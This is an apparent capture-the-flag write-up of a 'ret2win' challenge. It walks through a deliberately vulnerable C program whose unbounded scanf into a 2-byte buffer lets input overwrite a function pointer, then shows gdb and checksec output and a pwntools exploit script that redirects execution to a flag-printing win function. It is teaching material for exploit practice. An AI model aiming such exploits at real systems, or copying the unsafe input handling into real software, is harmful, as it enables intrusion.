Post

pwn - ret2win

In this write i will explain how overflow a binary and overwrite the return value with an address of our choice. i this case we will point the execution our the win function that gives us the flag. MAYBE: to do this locally you can get the chall here with its source code here. NO decompilation pressure

lets get started

Well, we have the source, we can first take a look at it before we get to the binary

We have three functions main, welcome_message and win. All we need is have win function being executed. Unlucky for us, our lovely function is not called in the main function. not entirely unlucky though.

In buffer overflow, we are mostly used to seeing the gets as the function handling our input, in this case we have scanf. It took me a while before i could really understand how this code can be vulnerable. Then i saw that the scanf function is taking all our input to the buff variable which only stores 2 bytes (one character only) letting the rest overwrite the values in the stack. sweeeet!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

// all the best !! :)
void win(){
	char flag[100];
	const int fd = open("./flag.txt", O_RDONLY);

	if (fd < 0){
		fprintf(stdout, "if this happens on the server, talk to admin, else create a flag.txt file :)");
		fflush(stdout);
	}

	read(fd, flag, sizeof(flag));
	fprintf(stdout, "%s \n", flag);
	fflush(stdout);
}

void welcome_message(){
	fprintf(stdout, "Welcome to the Madness Comrade !\n");
	fflush(stdout);
}

int main(int argc, char **argv){
	void (*f)() = welcome_message;
	char buff[2];
	printf("Do you have anything to say? (y\\n): ");
	fflush(stdout);
	scanf("%s", buff);
	f();
	return 0;
}

Checking on the file, we find it is of 64 bit architecture, it is dynamically linked and not stripped which would have helped us very much if we did not have its source file.

1
2
3
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c88907f681c0259d1ead3c61498b872418d33529, for GNU/Linux 3.2.0, not stripped

Let us now check the security of the binary. There is no canaries and No PIE which means we can overflow without being caught and the address of the win function does not change. Thats all we needed, isn’t.

1
2
3
4
5
6
7
8
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ checksec --file chall
[*] '/home/kali/hacks/kca/pwn/ret2win/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

To test my logic, went on and fired up gdb in my machine. And guess what, setting a break pointer right before the function returns, and reading the values in the rip register, i found it filled with my aaaaaa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) b *main+92
Breakpoint 1 at 0x4012c1
(gdb) r
Starting program: /home/kali/hacks/kca/pwn/ret2win/chall 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you have anything to say? (y\n): aaaaaaaa

Breakpoint 1, 0x00000000004012c1 in main ()
(gdb) x/1x $rip
0x4012c1 <main+92>:     0x000000b8
(gdb) s
Single stepping until exit from function main,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x0000616161616161 in ?? ()
(gdb) x/1x $rip
0x616161616161: Cannot access memory at address 0x616161616161
(gdb) 

We know the offset is 2 from the size of the buff variable

1
char buff[2];
1
2
3
4
5
6
7
8
9
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ ./chall
Do you have anything to say? (y\n): aaaaaaaaaaaaaaa
zsh: segmentation fault  ./chall
                                                                                                                                                                       
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ ./chall 
Do you have anything to say? (y\n): aa
zsh: segmentation fault  ./chall

Now, what do we need to complete our payload? well, remember the goal is to overwrite the return address which the win function’s address. So let us go on and look for the win address using gdb. There it is

1
2
3
(gdb) p *win
$1 = {<text variable, no debug info>} 0x401186 <win>
(gdb) 

python script to automate the exploitation

With all that information, let us craft a python script that will do everything for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
#author: pr0rat

from pwn import *

exe = './chall'
def start(argv=[], *a, **kw):
        if args.REMOTE:
                return remote(sys.argv[1], sys.argv[2], *a, **kw)
        elif args.LOCAL:
                return process([exe] + argv, *a, **kw)
        else:
                print("Usage: ./exploit.py REMOTE <server> <port>")
                print(" OR ./exploit.py LOCAL")
                exit()

p= start()

#because our binary is 64 bit, we user p64 function in pwntools which represents it in 
#little endian format as well as tell the program that it is of a 64 bit architecture
win_addr = p64(0x401186)

payload = b''
payload += b'nn'
payload += win_addr

p.recvuntil(b"): ")
p.sendline(payload)
print(p.recv())

Hooray!! with this script, you exploit the buffer overflow, overwrite the return address with the win function address which will give you the flag.

Running it locally

NB: It requires you to create a dummy flag.txt for testing.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ python3 exploit.py      
Usage: ./exploit.py REMOTE <server> <port>
 OR ./exploit.py LOCAL
                                                                                                                                                                       
┌──(kali㉿prosec)-[~/hacks/kca/pwn/ret2win]
└─$ python3 exploit.py LOCAL
[+] Starting local process './chall': pid 75457
[*] Process './chall' stopped with exit code 0 (pid 75457)
b'flag{just_me_doing_my_tings}\n \n'

and in the remote server its just putting the IP and the port as shown from the usage message.

This post is licensed under CC BY 4.0 by the author.